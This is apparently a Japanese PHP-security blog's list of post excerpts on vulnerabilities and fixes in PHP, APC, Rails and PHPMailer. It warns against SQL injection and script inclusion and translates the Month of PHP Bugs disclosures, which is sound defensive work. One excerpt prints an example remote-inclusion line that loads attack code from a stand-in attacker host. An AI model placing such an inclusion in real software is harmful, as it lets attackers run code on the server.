X

脆弱性

APCにStack Overflow脆弱性

件名の通り、APCのStack Overflow脆弱性が公開されています。 http://sla.ckers.org/forum/read.php?3,21615,21615#msg-21615 このポストに書いてある通り、PHP4ではインクルード攻撃に脆弱なアプリならallow_url_fopenをoffにしていても効果はありません。PHP4+APCを使っ…

Rails 1.2.6 リリース

1.2.4などで修正を試みたセキュリティ上の問題が完全ではなかったようです。 セッションIDの固定化が可能な脆弱性が(こんどは完全に?)修正されたようです。 The rails core team has released ruby on rails 1.2.6 to address a bug in the fix for session fixation…

SET NAMESは禁止

MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。 Ruby on Rai…

スクリプトインクルード問題の根本的解決策

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。 デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり include('http://evil.example.com/attack.php'); の様なコードは実行できな…

HTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの取り扱いバグ

b2evolutionをいい加減アップグレードしておかないと問題があっても困るのでアップグレードしました。HTTP_ACCEPT_CHARET/HTTP_ACCEPT_LANGUAGE処理の不具合がまだなおっていないようです... 日本語のように単語区切りがない言語(または正規表現の文字エンコーディング設定)の不具合も直っていないようです。 昨日から今日まで…

globで任意コード実行の脆弱性

FirstにPHPのglobで任意コード実行の脆弱性、とあったのでCVSを見てみるとglob用のメモリ構造体を未初期化で使用しているコードが修正されていました。未初期化の構造体メモリを任意データで書き換える必要があるので、攻撃を行うには攻撃が可能となるメモリレイアウトを作る比較的特殊なコードが必要になると思われます。 任意コード実行の脆弱性として Remot…

tidy_parse_string() オーバーフロー

CVE-2007-3294にtidy_parse_string()オーバーフローが登録されています。 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3294 に脆弱性情報のソースURLが記載されています。 http://www.milw0rm.com/exploits/4080 すぐに応用可能な実証コード付きです。…

PHPセッションの問題修正

Stefanさんのブログに書いてあったので気がついたのですが http://cvs.php.net/viewvc.cgi/php-src/ext/session/session.c?r1=1.417.2.8.2.35&r2=1.417.2.8.2.36 に結構面白いコミットがされています。CVS版なので正式リリースになるかは不明です。成り行きはがどう…

PHPMailerコマンドインジェクション – WordPress, Mantis, WebCalendar, Group-Office, Joomla, etc

個人的には影響ないですがいろいろなアプリケーションで使われているPHPMailerと言うクラスにコマンドインジェクションの脆弱性があったようです。リンク先を見ればescapeshellarg()かescapeshellcmd()でエスケープすべき個所がエスケープされていない事が分かります。 どの位危険か?と言うと簡単にサーバを乗っ取られる(不正なプロセスを実…

PHP 5.2.3のchunk_split()は未修整だった…

http://blog.php-security.org/archives/84-PHP-5.2.3-released....html にも書いてあるのですが、PHP 5.2.3ではchunk_split()が直っているハズだったのですが直っていませんでした。 Fixed an integer overflow inside chunk_split() (b…

MOBPを訳し終えて

もう何年か前になりますがStefanさんがPHPプロジェクトへの貢献を始めたころ「整数オーバーフローの修正はセキュリティ脆弱性なのでそのことを明記すべき」と指摘した事がありました。信じがたいかもしれませんが「攻撃可能かどうか分からないし脆弱性でなく普通のバグ修正だ」と主張する開発者がいたためPHPのこの手のヒープオーバーフローセキュリティ修正は「fixed …

SQLインジェクションカンニングシート

XSSに比べSQLインジェクションは非常に簡単に防げる脆弱性ですが、まだまだなくなりません。 SQL Injection Cheat Sheetが公開されています。 http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/ 追記:上記ページはもう無いようです。以下のURLをご覧ください。 http…

MOPBの反応

Stefanさんのブログによると、MOPBのおかげでリファレンスカウンタ、allow_url_include(とallow_url_fopen)のセキュリティホールがやっと修正されることになったようです。ブログの内容はリンク先を見ていただくとしてMOPBの成果として修正された問題についてコメントします。 (さらに…)

MOPB-04-2007:PHP 4 unserialize() ZVAL Reference Counter Overflow

"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリがMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。…

なぜPHPアプリにセキュリティホールが多いのか?

技術評論社の新サイトで「なぜPHPアプリにセキュリティホールが多いのか?」をテーマにブログ風の記事を掲載させていただく事になりました。第一回は「CVEでみるPHPアプリケーションセキュリティ」です。 http://gihyo.jp/serial/2007/php-security/0001 CVEをフォローしている方であればPHPアプリケーションの脆弱性レポ…